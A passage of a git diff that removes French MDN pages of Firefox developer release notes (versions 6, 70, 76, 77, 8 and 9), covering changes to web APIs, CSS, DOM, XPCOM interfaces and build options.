  • La nouvelle méthode Components.utils.schedulePreciseGC() vous permet de programmer un cycle approfondi de collection de garbage de se produire à un moment donné lorsqu'aucun code JavaScript n'est exécuté, un rappel est exécuté une fois la collecte terminée.
    • -
  • La méthode Components.utils.unload() vous permet de décharger les modules de code JavaScript déjà chargés en appelant Components.utils.load().
    • -
- -

Rapporteur de mémoire

- -

Ajout du support pour le multi-reporters, c'est le rapporteur de mémoire qui rassemble des données sur demande et effectue un rappel pour chaque résultat généré. Voir {{interface("nsIMemoryMultiReporter")}} et {{interface("nsIMemoryMultiReporterCallback")}} pour les interfaces nécessaires, ainsi que les méthodes {{ifmethod("nsIMemoryReporterManager", "registerMultiReporter")}} et {{ifmethod("nsIMemoryReporterManager", "unregisterMultiReporter")}}.

- -

Changements de l'expérience utilisateur

- - - -

Changements dans le système de compilation

- -
    -
  • L'API d'intégration d'ActiveX n'est plus compilée et son support a été retiré du système de compilation. Des interfaces ont également été supprimées, voir {{anch("Interfaces supprimées")}}.
    • -
  • Vous n'avez plus besoin de préciser -Zc:wchar_t- lors de la compilation sous Windows. Pour plus de détails, voir la documentation sur la compilation.
    • -
- -

Changements dans les interfaces

- -
    -
  • {{interface("nsISocketTransport")}} offre désormais un nouveau drapeau de connexion : DISABLE_IPV6, cela entraîne des tentatives de connexion uniquement aux adresses IPv4, en ignorant toutes les adresses IPv6 disponibles. De plus, {{interface("nsIDNSService")}} offre désormais un nouveau drapeau de résolution : RESOLVE_DISABLE_IPV6, ce qui entraîne un résolution des noms de domaine en ne tenant compte que des hôtes IPv4 et en ignorant toutes les adresses IPv6 disponibles. Ces changements permettent d'implémenter la stratégie "happy eyeballs" pour améliorer le temps de réponse lors d'une tentative de connexion sur les hôtes qui supportent à la fois IPv4 et IPv6 (en particulier ceux qui ont brisé la connectivité IPv6).
    • -
  • {{interface("inIDOMUtils")}} a deux nouvelles méthodes, {{ifmethod("inIDOMUtils","getChildrenForNode")}} qui renvoie une liste des nœuds enfants d'un noeud et {{ifmethod("inIDOMUtils","getUsedFontFaces")}} qui renvoie la liste des police de caractères utilisées dans une gamme.
    • -
  • L'interface nsIMarkupDocumentViewer_MOZILLA_2_0_BRANCH a été intégrée dans l'interface {{interface("nsIMarkupDocumentViewer")}}.
    • -
  • L'interface nsIDOMWindow2 a été intégrée dans l'interface {{interface("nsIDOMWindow")}}.
    • -
  • L'interface nsIDOMWindow_2_0_BRANCH a été intégrée dans l'interface {{interface("nsIDOMWindowInternal")}}.
    • -
  • Les méthodes {{interface("nsINavHistoryObserver")}} avec des paramètres d'URI exigent désormais un GUID.
    • -
  • L'interface nsISHistory_2_0_BRANCH a été intégrée dans l'interface {{interface("nsISHistory")}}.
    • -
  • {{interface("nsITelemetry")}} a une nouvelle méthode, {{ifmethod("nsITelemetry","getHistogramById")}} qui retourne un histogramme par son ID, et un nouvel attribut canRecord qui, lorsqu'il est défini sur false désactive l'enregistrement des statistiques de télémétrie. Les statistiques de télémétrie ne sont plus enregistrées lorsque l'on est en mode de navigation privée. (voir {{bug("661574")}} et {{bug("661573")}})
    - Les histogrammes de télémétrie définis avec {{ifmethod("nsITelemetry","newHistogram")}} ne seront pas rapportés dans le ping de télémétrie.
    • -
  • L'interface {{interface("nsIMemoryReporter")}} a été sensiblement modifiée, si vous l'utilisez, vous devez faire quelques ajustements à votre code.
    • -
  • Les en-têtes {{interface("nsIXMLHttpRequest")}} fixées par {{ifmethod("nsIXMLHttpRequest","setRequestHeader")}} sont envoyées à la demande lorsque l'on suit une redirection. Auparavant, ces en-têtes n'auraient pas été envoyées.
    • -
  • {{interface("nsIDocShell")}} a un nouvel attribut allowWindowControl. Si il est true, le contenu du docshell est autorisé à contrôler la fenêtre (c'est-à-dire la déplacer ou la redimensionner).
    • -
  • L'interface nsIThreadInternal2 a été intégrée dans l'interface {{interface("nsIThreadInternal")}}.
    • -
- -

Nouvelles interfaces

- -
-
{{interface("nsIDOMFontFace")}}
-
Décrit une seule police de caractères.
-
{{interface("nsIDOMFontFaceList")}}
-
Décrit une liste de polices de caractères, chacune représentée par {{interface("nsIDOMFontFace")}}.
-
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

- -
    -
  • nsIDOM3Attr
    • -
  • nsIDOM3Node
    • -
  • nsIDOM3TypeInfo
    • -
  • nsIDOM3Text
    • -
  • nsIDOMDocumentStyle
    • -
  • nsIDOMNSDocument
    • -
  • nsIDOMNSFeatureFactory
    • -
  • {{interface("nsIDOMNSHTMLDocument")}}
    • -
  • nsIDOMNSHTMLFormElement
    • -
  • nsIDOMNSHTMLHRElement
    • -
  • nsIDOMNSHTMLTextAreaElement
    • -
- -

Les interfaces suivantes ont été supprimées dans le cadre du retrait de l'API ActiveX :

- -
    -
  • DITestScriptHelper
    • -
  • DWebBrowserEvents
    • -
  • DWebBrowserEvents2
    • -
  • {{interface("IDispatch")}}
    • -
  • IMozControlBridge
    • -
  • IMozPluginHostCtrl
    • -
  • IWebBrowser
    • -
  • IWebBrowser2
    • -
  • IWebBrowserApp
    • -
  • IXMLDocument
    • -
  • IXMLElement
    • -
  • IXMLElementCollection
    • -
  • IXMLError
    • -
  • nsIActiveXSecurityPolicy
    • -
  • {{interface("nsIDispatchSupport")}}
    • -
  • nsIMozAxPlugin
    • -
  • nsIScriptEventHandler
    • -
  • nsIScriptEventManager
    • -
- -

Autres changements

- -
    -
  • La structure de la fenêtre de la bibliothèque (places.xul) a été nettoyée. Cela pourrait casser les extensions et les thèmes
    • -
  • L'apparence de la fenêtre d'aperçu avant impression a été modernisé et les auteurs de thèmes sont invités à avoir le même style en utilisant les pseudo-éléments CSS {{cssxref("::-moz-page")}}, {{cssxref("::-moz-page-sequence")}} et {{cssxref("::-moz-scrolled-page-sequence")}}
    • -
- -

Voir également

- -

{{Firefox_for_developers('6')}}

diff --git a/files/fr/mozilla/firefox/versions/70/index.html b/files/fr/mozilla/firefox/versions/70/index.html deleted file mode 100644 index e104829d70..0000000000 --- a/files/fr/mozilla/firefox/versions/70/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Firefox 70 for developers -slug: Mozilla/Firefox/Versions/70 -translation_of: Mozilla/Firefox/Releases/70 ---- -

{{FirefoxSidebar}}{{Draft}}

- -

This article provides information about the changes in Firefox 70 that will affect developers. Firefox 70 is the current Nightly version of Firefox, and will ship on October 22, 2019.

- -

Changes for web developers

- -

Developer tools

- -
    -
  • An information icon will be displayed next CSS properties that do not have an effect on the current element in the Rules pane of the Page Inspector ({{bug(1306054)}}).
    • -
- -

Removals

- -

HTML

- -

No changes.

- -

 Removals

- -

CSS

- -
    -
  • [fill-stroke] [filter-effects] [css-color] percentage opacity. {{Bug(1562086)}}
    • -
  • [css-grid] grid-auto-columns/rows should accept multiple track-size values. {{Bug(1339672)}}
    • -
  • [css-text-decor-4] Implement text-decoration-skip-ink. {{Bug(1411922)}}
    • -
  • [css-display-3] Implement multi-keyword {{CSSxRef("display")}} values. ({{Bug(1038294)}}, {{Bug(1105868)}} and {{Bug(1557825)}})
    • -
- -

Removals

- -

SVG

- -

No changes.

- -

Removals

- -

JavaScript

- -
    -
  • Add support for numeric separators. {{Bug(1435818)}}
    • -
- -

Removals

- -

APIs

- -

New APIs

- -

DOM

- -
    -
  • Add {{DOMxRef("DOMMatrix")}}, {{DOMxRef("DOMPoint")}}, etc. support in web workers ({{bug(1420580)}}).
    • -
- -

DOM events

- -

Service workers

- -

Media, Web Audio, and WebRTC

- -

Canvas and WebGL

- -

Removals

- -

Security

- -

No changes.

- -

Removals

- -

Plugins

- -

No changes.

- -

Removals

- -

Other

- -

No changes.

- -

Removals

- -

Changes for add-on developers

- -

API changes

- -

No changes.

- -

Removals

- -

Manifest changes

- -

No changes.

- -

Removals

- -

See also

- - - -

Older versions

- -

{{Firefox_for_developers(69)}}

diff --git a/files/fr/mozilla/firefox/versions/76/index.html b/files/fr/mozilla/firefox/versions/76/index.html deleted file mode 100644 index efa1538412..0000000000 --- a/files/fr/mozilla/firefox/versions/76/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Firefox 76 for developers -slug: Mozilla/Firefox/Versions/76 -tags: - - '76' - - Firefox - - Mozilla - - Release -translation_of: Mozilla/Firefox/Releases/76 ---- -

{{FirefoxSidebar}}

- -

Cet article fournit des informations sur les modifications apportées à Firefox 76 qui affecteront les développeurs. Firefox 76 a été publié le 5 Mai 2020.

- -

Voir aussi le post d'accompagnement du blog hacks — Firefox 76: Audio worklets and other tricks.

- -

Changements pour les développeurs web

- -

Outils pour les développeurs

- -

Débogueur

- -
    -
  • Vous pouvez maintenant activer/désactiver le blackboxing des groupes et dossiers sources listés dans le volet Liste des sources via les options du menu contextuel ({{bug(1118152)}}).
    • -
  • L'option de menu contextuel Copier la trace de la pile d'appels du volet Pile d'éxécution copie désormais les URL complètes, et pas seulement les noms de fichiers ({{bug(1619039)}}).
    • -
- -

Moniteur de réseau

- -
    -
  • Dans la liste des requêtes du réseau, vous pouvez maintenant double-cliquer sur un séparateur de colonne pour redimensionner la colonne à gauche de celui-ci afin qu'il corresponde à son contenu ({{bug(1615102)}}).
    • -
  • Le menu contextuel de la requête réseau Copier > Copier comme cURL dispose d'une nouvelle option, --globoff, qui supprime la fonction de globbing (correspondance de caractères génériques) du cURL si l'URL copiée comprend des caractères entre crochets ({{bug(1549773)}}).
    • -
  • L'onglet Messages du panneau de détails pour les requêtes de socket web a un nouveau filtre - Contrôle - pour afficher les cadres de contrôle, et les filtres sont maintenant regroupés dans une liste de sélection ({{bug(1566780)}}).
    • -
- -

Console web

- -
    -
  • In multi-line mode, code snippets longer than five lines are abbreviated to five lines, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). You can click anywhere in this area to show the code, and click again in that area to collapse it ({{bug(1578212)}}).
    • -
  • DOM element references outputted into the console now have a "Reveal in inspector" context menu option, which shows the element in the HTML pane of the Page inspector ({{bug(1612276)}}).
    • -
- -

Débogage à distance

- -
    -
  • Because of differences in DevTools versions, it is not possible to debug releases of Firefox for Android that are based on version 68, from desktop Firefox versions 69 or later. When attempting to do this, the Firefox desktop browser will now show a message informing the user of this problem, and offering possible next steps ({{bug(1625906)}}). See Connection to Firefox for Android 68 for more information.
    • -
- -

HTML

- -
    -
  • The {{HTMLElement("input")}} element's {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes now work correctly when the value of min is greater than the value of max for control types whose values are periodic (that is, values that wrap around at some point). This is particularly helpful, for example, with date and time inputs, where you might want to specify a time range of 11 PM to 2 AM ({{bug(1608010)}}).
    • -
- -

CSS

- - - -

SVG

- -

No changes.

- -

JavaScript

- -
    -
  • The numberingSystem and calendar options of the {{jsxref("Intl.NumberFormat")}}, {{jsxref("Intl.DateTimeFormat")}}, and {{jsxref("Intl.RelativeTimeFormat")}} constructors are now enabled by default ({{bug(1625975)}}).
    • -
- -

APIs

- -

Nouvelles APIs

- -
    -
  • Firefox now supports audio worklets by default, with support for {{domxref("BaseAudioContext.audioWorklet", "AudioContext.audioWorklet")}}, which lets you use the {{domxref("AudioWorkletProcessor")}} and {{domxref("AudioWorkletNode")}} interfaces to process audio in real time off the main thread ({{bug(1616725)}}).
    • -
- -

DOM

- -
    -
  • UI-parts related items in the windowFeatures parameter of {{domxref("window.open()")}} can no longer control the visibility of each UI part separately, but become a condition for whether to open a popup or not ({{bug(1507375)}}).
    • -
  • Attempts to navigate to an unknown protocol using methods such as location.href or <meta http-equiv="refresh"> are now blocked (see {{bug(1528305)}}; also see Navigation to unknown protocol will be blocked for more information).
    • -
  • The {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor now accepts a {{domxref("Document")}} object as its root, as well as an {{domxref("Element")}} object ({{bug(1623623)}}). This lets you explicitly use a window's entire content area as the intersection bounds.
    • -
  • The Fetch API now supports the audioworklet {{domxref("Request.destination", "destination")}} for requests. This causes received data to be dispatched to an {{domxref("AudioWorklet")}} ({{bug(1402784)}}).
    • -
- -

Suppressions

- - - -

HTTP

- -

Aucun changements.

- -

Sécurité

- -

Aucun changements.

- -

Changements pour les développeurs de modules complémentaires

- -

Aucun changements.

- -

Voir aussi

- - - -

Anciennes versions

- -

{{Firefox_for_developers(75)}}

diff --git a/files/fr/mozilla/firefox/versions/77/index.html b/files/fr/mozilla/firefox/versions/77/index.html deleted file mode 100644 index 073ca22e4b..0000000000 --- a/files/fr/mozilla/firefox/versions/77/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Firefox 77 for developers -slug: Mozilla/Firefox/Versions/77 -tags: - - '77' - - Firefox - - Mozilla - - Sorties -translation_of: Mozilla/Firefox/Releases/77 ---- -

{{FirefoxSidebar}}{{Draft}}

- -

Cet article fournit des informations sur les modifications apportées à Firefox 77 qui affecteront les développeurs. Firefox 77 est l'actuel version de Firefox Bêta, et sera livrée le 2 Juin 2020.

- -

Changements pour les développeurs web

- -

Outils pour les développeurs

- -

Aucun changement.

- -

Suppressions

- -

HTML

- -

Aucun changement.

- -

 Suppressions

- -

CSS

- -

Aucun changement.

- -

 Suppressions

- -

SVG

- -

Aucun changement.

- -

Suppressions

- -

JavaScript

- -

Aucun changement.

- -

APIs

- -

Nouvelles APIs

- -

DOM

- -

Événements DOM

- -

Service workers

- -

Médias, Web Audio et WebRTC

- -

Canevas et WebGL

- -

Suppressions

- -

HTTP

- -

Aucun changement.

- -

Securité

- -

Aucun changement.

- -

Suppressions

- -

Plugins

- -

Aucun changement.

- -

Suppressions

- -

Securité

- -

Enlèvements

- -

Autres

- -

Aucun changement.

- -

Suppressions

- -

Changements pour les développeurs de modules complémentaires

- -

Modifications de l'API

- -

Aucun changement.

- -

Suppressions

- -

Changements manifestes

- -
    -
  • Les permissions suivantes sont désormais facultatives, elles peuvent être spécifiées dans la clé du manifeste optional_permissions et demandées en utilisant l'API {{WebExtAPIRef("permissions")}} : browsingData ({{bug(1630417)}}), pkcs11 ({{bug(1630418)}}), proxy ({{bug(1548011)}}), et sessions ({{bug(1630414)}}).
    • -
- -

Suppressions

- -

Autres

- -
    -
  • L'utilisation de l'autorisation unlimitedStorage n'entraîne plus l'affichage d'une boîte de dialogue lors de l'installation ou de la mise à jour de l'extension. Pour plus d'informations, voir Demander les bonnes autorisations (en). ({{bug(1630413)}})
    • -
- -

Voir aussi

- - - -

Anciennes versions

- -

{{Firefox_for_developers(76)}}

diff --git a/files/fr/mozilla/firefox/versions/8/index.html b/files/fr/mozilla/firefox/versions/8/index.html deleted file mode 100644 index b1e7b31fa7..0000000000 --- a/files/fr/mozilla/firefox/versions/8/index.html +++ /dev/null @@ -1,255 +0,0 @@ ---- -title: Firefox 8 pour les développeurs -slug: Mozilla/Firefox/Versions/8 -tags: - - Firefox - - Firefox 8 -translation_of: Mozilla/Firefox/Releases/8 ---- -

Firefox 8, basé sur Gecko 8.0, est sorti le 8 novembre 2011. Cet article fournit des informations à la fois pour les developpeurs Web et pour les développeurs d'extensions et de projets liés à Mozilla pour aider à tirer pleinement parti des fonctionnalités de cette version.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • La propriété crossOrigin a été ajouté à HTMLImageElement et l'attribut crossorigin a été ajouté à l'élément <img> (voir bug 664299).
    • -
  • La méthode HTMLSelectElement.add() supporte désormais supporte désormais soit un élément ou soit l'index d'un élément auquel un nouvel élément doit être inséré avant. Auparavant, seulement un élément était supporté (voir bug 666200).
    • -
  • Le constructeur HTMLIsIndexElement a été retiré. Aucun éléments n'a implémenté cette interface depuis Firefox 4.
    • -
  • la fonctionnalité HTML5 "menu contextuel" (attribut contextmenu), qui vous permet d'ajouter des éléments personnalisés particuliers au menu contextuel d'origine, est désormais supportée (l'implémentation est encore expérimentale en attendant des changements dans la spécification (voir bug 617528).
    • -
  • Le support de l'attribut accesskeylabel a été ajouté à tous les éléments.
    • -
  • les éléments <input> et <textarea> supportent désormais l'attribut selectionDirection, et leurs méthodes setSelectionRange() ont été mises à jour pour supporter éventuellement la spécification d'une direction.
    • -
  • La plupart des éléments peuvent désormais obtenir une bague de focalisation établie autour d'eux s'ils ont été faits pouvant recevoir le focus via l'attribut tabindex et que l'utilisateur se concentre ensuite sur l'élément.
    • -
  • Dans un ensemble d'éléments <label> imbriqués, cliquer sur les événements ne déclencheront plus plusieurs éléments, qui, avant, provoquaient un blocage de Firefox (voir bug 646157).
    • -
- -

DOM

- -
    -
  • La méthode insertAdjacentHTML a été implémentée.
    • -
  • BlobBuilder dispose désormais d'une méthode getFile() qui renvoie le contenu du blob dans un fichier.
    • -
  • L'interface FileReaderSync (partie de FileAPI) a été implementée.
    • -
  • La gestion des évènements par les <label> imbriqués a été fixée.
    • -
  • Vous pouvez maintenant utiliser window.postMessage() pour passer les objets File et FileList entre les fenêtres.
    • -
  • Lors de l'édition de zones element.contenteditable la sortie d'une position en appuyant sur retour, ou à la sortie d'une liste en mode édition en appuyant sur retour à deux reprises, revient maintenant au mode d'entrée au paragraphe (c'est-à-dire les paragraphes à l'intérieur des blocs <p>) au lieu de lignes de séparation par les éléments <br>.
    • -
  • Correction d'un bug empêchant la justification de la prise d'effet correcte lorsqu'elle est appliquée à la première ligne dans une zone element.contenteditable.
    • -
  • Correction d'un bug qui faisait que en appuyant sur Suppr ou Retour arrière au début d'une zone element.contenteditable affectait le bloc contenteditable précédent s'il était présent.
    • -
  • document.getSelection() renvoie désormais l'objet Selection identique à window.getSelection(), à la place de stringifying.
    • -
  • La propriété HTML5 selectionDirection permet de définir la direction de la sélection dans un texte éditable.
    • -
  • HTMLMediaElement a maintenant une propriété seekable qui retourne l'objet TimeRanges.
    • -
  • L'attribut .preload de HTMLMediaElement se reflète désormais comme une valeur énumérée.
    • -
  • Les propriétés crossOrigin sont par défaut defaults to "Anonyme" quand une valeur invalide est utilisée.
    • -
  • window.navigator.cookieEnabled renvoie désormais correctement l'information quand le paramètre de cookie par défaut est écrasé sur la base de chaque site.
    • -
- -

JavaScript

- -
    -
  • RegExp.exec() et RegExp.test() appelés sans arguments correspondent maintenant à la chaîne "undefined".
    • -
  • String.search() et String.match() appelés sans arguments ou undefined correspondent désormais à une chaîne vide et correspondent donc à chaque chaîne.
    • -
  • Le support des listes de surveillance a été implémenté avec les nouvelles mtéhodes (non standards) watch() et unwatch().
    • -
- -

CSS

- -
    -
  • resolution accepte désormais <number>, pas seulement des valeurs <integer> comme avec la spécification.
    • -
  • Les règles de césure ont été ajoutées pour de nombreuses nouvelles langues lors de l'utilisation de hyphens.
    • -
  • Le traitement de background-size a été revu pour mieux correspondre à la spécification.
    • -
  • Dans le passé, text-decoration en mode quirks avait l'épaisseur de ligne et la position ajustée sur le texte descendant pour correspondre à la descendance. Désormais le mode standard et le mode quirks ont un rendu plus proche.
    • -
  • Le positionnement horizontal des éléments est davantage conforme à la spécification dans beaucoup de cas. La documentation est à venir, mais pour l'instant, pour plus de détails voir le commentaire 23 du bug 682780.
    • -
  • Les images SVG sont désormais correctement mise à l'échelle lorsqu'elles sont utilisées comme images de fond.
    • -
- -

Réseau

- -
    -
  • Les doubles guillemets ne sont plus acceptés en tant que délimiteur pour l'encodage RFC 2231 ou RFC 5987, conformément à ces RFCs.
    • -
  • Le parseur MIME du champ d'en-tête (Content-Disposition) exige désormais "=" dans les paramètres.
    • -
  • Les scripts ne sont plus téléchargés lorsque JavaScript est désactivé.
    • -
  • SSL 2.0 n'est plus supporté.
    • -
- -

WebSockets

- -
    -
  • La méthode send() de l'objet WebSocket ne renvoie plus à tort une valeur booléenne.
    • -
  • La méthode close() de l'objet WebSocket correspond désormais à la version actuelle du standard, et les événements proches utilisent à présent correctement l'interface CloseEvent.
    • -
  • L'attribut extensions de l'objet WebSocket est à présent supporté.
    • -
  • Le constructeur WebSocket supporte désormais un ensemble de protocoles ainsi que la chaîne d'un seul protocole.
    • -
  • Le contenu mixte n'est pas autorisé avec WebSockets, vous ne pouvez plus établir une connexion vers un serveur WebSocket non sécurisé à partir d'un contenu sécurisé.
    • -
  • Les erreurs de connexion avec WebSockets déclenchent à présent le gestionnaire onerror.
    • -
  • L'API WebSocket a été mise à jour suivant la dernière version de la spécification (voir bug 674890, bug 674527 et bug 674716).
    • -
  • L'extension deflate-stream pour WebSockets a été désactivée, elle est obsolète et a cassée la compatibilité avec quelques sites.
    • -
- -

WebGL

- -
    -
  • Les textures Cross-domain sont à présent autorisées avec l'accord de CORS.
    • -
  • Le processus de rendu Cross avec Direct2D/Direct3D 10.
    • -
- -

MathML

- -
    -
  • le support de l'attribut displaystyle sur l'élément de premier niveau <math> a été ajouté.
    • -
  • L'interprétation de numéros de lignes négatifs pour l'attribut align de <mtable> a été corrigée.
    • -
- -

Outils de développement

- -
    -
  • L'objet console a une nouvelle méthode dir(), qui affiche une liste interactive des propriétés sur un objet spécifié.
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Voir Updating add-ons for Firefox 8 pour vous guidez dans les modifications que vous êtes susceptibles d'avoir à faire pour rendre vos extensions compatibles avec Firefox 8.

- -
Note: Firefox 8 requiert que les composants binaires soient recompilés, comme pour toutes les versions majeures de Firefox. Pour plus de détails, voir Interfaces Binaires.
- -

XPCOM

- -
-
Components.utils
-
Les nouvelles méthodes Components.utils.createObjectIn() et Components.utils.makeObjectPropsNormal() ont été créées pour faciliter la création d'objets dans des compartiments spécifiques.
-
- -

Autres changements relatifs à XPCOM

- -
    -
  • Vous pouvez à présent demander des objets DOM File à partir d'éléments du code en faisant simplement un nouveau fichier, au lieu de devoir demander directement à nsIDOMFile.
    • -
  • Le type de tableau nsTPtrArray a été retiré. La fonctionnalité est désormais disponible sur tous les nsTArray, qui propose désormais la méthode SafeElementAt() lors d'une demande à l'aide d'un type de pointeur. Voir la section sur SafeElementAt() dans le guide des tableaux XPCOM pour plus de détails.
    • -
- -

Workers

- -

Il n'est plus possible d'accéder à des objets XPCOM depuis ChromeWorkers. XPConnect a été désactivé dans le contexte des travailleurs comme indiqué par le bug 649537.

- -

XUL

- - - -

Changements dans le système de compilation

- -
    -
  • Les options de configuration de compilation suivantes ont été retirées : -
      -
    • --enable-timeline
      • -
    • --disable-storage
      • -
    • --necko-disk-cache
      • -
    -
    • -
  • Lors de la compilation des fichiers IDL aux en-têtes, le fichier d'en-tête jspubtd.h est automatiquement inclus lorsque c'est nécessaire. L'inclusion manuelle de jspubtd.h et/ou jsapi.h dans des fichiers IDL qui utilisent jsval ou [implicit_jscontext] n'est plus nécessaire.
    • -
- -

Enregistrement du chrome

- -
    -
  • L'indicateur platformversion peut être utilisé dans le chrome.manifest pour spécifier la compatibilité entre les versions de Gecko.
    • -
- -

Changements dans les interfaces

- -
    -
  • La méthode mozIJSSubScriptLoader.loadSubScript() charge désormais scripts à partir du cache de démarrage lorsque c'est possible.
    • -
  • L'attribut ownerWindow a été supprimé de l'interface nsIAccessNode.
    • -
  • L'interface nsIDOMStorageWindow a été fusionnée avec l'interface nsIDOMWindow.
    • -
  • Tous les membres de l'interface nsIDOMWindowInternal ont été déplacés dans l'interface nsIDOMWindow. L'interface (sans les membres) reste disponible pour la compatibilité jusqu'à Firefox 9.
    • -
  • Afin d'améliorer les performances, le rappel pour les mises à jour asynchrones des bases de données Places a été changé. Voir les nouvelles méthodes mozIVisitInfoCallback.handleResult() et mozIVisitInfoCallback.handleError(), qui remplacent l'ancienne unique méthode pour les erreurs et les conditions de succès.
    • -
  • L'attribut KIND_MAPPED de nsIMemoryReporter a été désapprouvé au profit de KIND_NONHEAP, de nouveaux types d'unités ont été ajoutées : UNITS_COUNT_CUMULATIVE et UNITS_PERCENTAGE.
    • -
  • L'interface nsIMemoryReporterManager a un nouvel attribut explicit, qui indique explicitement la taille totale des allocations de mémoire.
    • -
  • L'interface nsIMemoryReporterManager a un nouvel attribut resident, qui relève la quantité de mémoire physique utilisée.
    • -
  • L'interface nsINetworkLinkService a un nouvel attribut, linkType. Cet attribut indique le type de connexion réseau en cours d'utilisation. Tous les systèmes d'exploitation retournent actuellement LINK_TYPE_UNKNOWN. Le support d'Android a été gardé pour des raisons de sécurité.
    • -
  • L'interface nsISelection2 a été fusionnée avec l'interface nsISelectionPrivate.
    • -
  • L'interface nsISelection3 a été fusionnée avec l'interface nsISelection.
    • -
  • L'attribut state de nsISessionStartup est désormais de type jsval au lieu d'être une chaîne, pour des raisons de performance.
    • -
  • L'état de l'attribut isActive de (nsIDocShell) est désormais false pour les fenêtres minimisées.
    • -
  • La méthode nsIDownloadHistory.addDownload() enregistre désormais la cible de l'endroit où le téléchargement est sauvegardé, sur le système de fichiers local.
    • -
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

- -
    -
  • nsITimelineService
    • -
  • nsIDOMHTMLIsIndexElement
    • -
- -

L'interface nsIWorkerFactory a également été retirée. WLes travailleurs peuvent encore être créés à l'aide des constructeurs Worker et ChromeWorker.

- -

Autres changements

- -
    -
  • Quand une fenêtre est minimisée (non réduite), ou basculée entre le plein écran et le mode fenêtré, elle reçoit l'événement sizemodechange.
    • -
  • You can now la préférence extensions.autoDisableScopes pour désactiver l'installation automatique d'extensions sur un emplacement d'installation.
    • -
  • La nouvelle propriété document.mozSyntheticDocument des objets Document vous permet de déterminer si un document est synthétique (comme une image, une vidéo ou un fichier audio) plutôt qu'un document DOM standard. Cela peut être utile, par exemple, si vous voulez présenter une interface utilisateur différente dans cette situation (comme l'ajout d'éléments contextuels différemment selon le cas présent).
    • -
  • Vous pouvez désormais spécifier un filtre en ouvrant about:config ; par exemple, "about:config?filter=sessionstore" n'affichera que les préférences liées au stockage des sessions.
    • -
- -

Voir également

- -
- -
diff --git a/files/fr/mozilla/firefox/versions/9/index.html b/files/fr/mozilla/firefox/versions/9/index.html deleted file mode 100644 index 3ee33465b7..0000000000 --- a/files/fr/mozilla/firefox/versions/9/index.html +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: Firefox 9 pour les développeurs -slug: Mozilla/Firefox/Versions/9 -tags: - - Firefox - - Firefox 9 -translation_of: Mozilla/Firefox/Releases/9 ---- -
- -

Firefox 9, basé sur Gecko 9.0, est sorti le 20 décembre 2011 sur Windows. La version 9.0.1, qui corrige un problème de plantage découvert au dernier moment, est sortie le 21 décembre 2011, sur Mac et Linux.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'attribut value de <li> peut désormais être négatif comme c'est indiqué dans HTML5. Auparavant les valeurs négatives été converties à 0.
    • -
  • Vous pouvez désormais specifier le début et la fin du temps d'un média dans l'URI en utilisant les éléments <audio> et <video>.
    • -
  • Les éléments <input> et <textarea> respectent désormais la valeur de l'attribut lang lors de l'appel du correcteur orthographique.
    • -
  • Firefox sur Android permet désormais la prise de photo avec le téléphone sans devoir quitter le navigateur lorsque l'élément <input> est utilisé avec type="file" et accept="image/*".
    • -
  • Les images ICO de style PNG de Windows Vista sont à présent supportée.
    • -
  • Les images dessinées qui utilisent l'attribut crossorigin pour demander l'accès à CORS n'altère plus le canvas quand CORS est accordé.
    • -
  • La valeur de l'attribut rowspan peut désormais aller jusqu'à 65 534, contre 8190 avant.
    • -
- -

CSS

- -
    -
  • La propriété font-stretch est à présent supportée.
    • -
  • La propriété columns est à présent supportée, avec le préfixe -moz. C'est un raccourci des propriétés suivantes : column-width et column-count.
    • -
  • Quand une feuille de style incluse à l'aide de l'élément <link> a été entièrement chargée et analysée (mais pas encore appliquée au document), l'load event est désormais déclenché. En outre, si une erreur survient durant le traitement d'une feuille de style, l'événement error est déclenché.
    • -
  • Vous pouvez à présent spécifier les paramètres de débordement pour les bords, à la fois à gauche et à droite, du contenu en utilisant une nouvelle syntaxe de deux valeurs pour text-overflow.
    • -
- -

DOM

- -
-
Utilisation du mode plein écran
-
La nouvelle API pour le plein écran offre un moyen de présenter le contenu en utilisant la totalité de l'écran, sans l'interface du navigateur. C'est très bien pour les vidéos et les jeux. Cette API est encore expérimentale et préfixée.
-
- -
    -
  • La méthode Node.contains() est désormais implémentée, elle vous permet de déterminer si un nœud donné est un descendant d'un autre noeud.
    • -
  • L'attribut Node.parentElement a été implémenté, cela renvoie l'Element parent d'un noeud DOM, ou null si le parent n'est pas un élément.
    • -
  • Les évènements de composition du DOM Level 3 sont à présent supportés.
    • -
  • L'attribut Document.scripts a été implémenté, il renvoie HTMLCollection de tous les éléments <script> du document.
    • -
  • la méthode Document.queryCommandSupported() a été implémentée.
    • -
  • L'ensemble des événements qui peuvent être écoutés sur les éléments <body> a été révisé pour correspondre à la dernière version de la spécification HTML5. La liste des événements dans la référence d'événements DOM reflète ceux qui peuvent être écoutés sur les <body>.
    • -
  • L'évènement readystatechange est désormais uniquement tiré sur le document, comme prévu.
    • -
  • Les gestionnaires d'événements sont désormais implémentés comme des interfaces IDL standard. Dans la plupart des cas, cela n'affectera pas le contenu, mais il y a des exceptions.
    • -
  • Un nouveau type de réponse, "moz-json", a été ajouté à XMLHttpRequest, laissant XMLHttpRequest analyser automatiquement les chaînes JSON, quand vous demandez ce type, une chaîne JSON est analysé, afin que la valeur de la propriété response est la résultante de l'objet JavaScript.
    • -
  • Les évènements "progress" de XMLHttpRequest sont à présent correctement envoyé pour chaque bloc de données reçu, dans le passé il était possible pour que le dernier bloc de données reçu ne déclenche pas un évènement "progress". Maintenant, vous pouvez suivre uniquement la progression des évènements "progress", au lieu d'avoir également à surveiller les évènements "load" pour détecter la réception du dernier bloc de données.
    • -
  • Dans le passé, l'appel de addEventListener() avec un écouteur null renvoyait une exception. maintenant il ne retourne plus d'erreur et est sans effet.
    • -
  • La nouvelle propriété navigator.doNotTrack permet à votre contenu de déterminer facilement si l'utilisateur a activé la préférence do-no-track, si la valeur est "oui", vous ne devez pas suivre l'utilisateur.
    • -
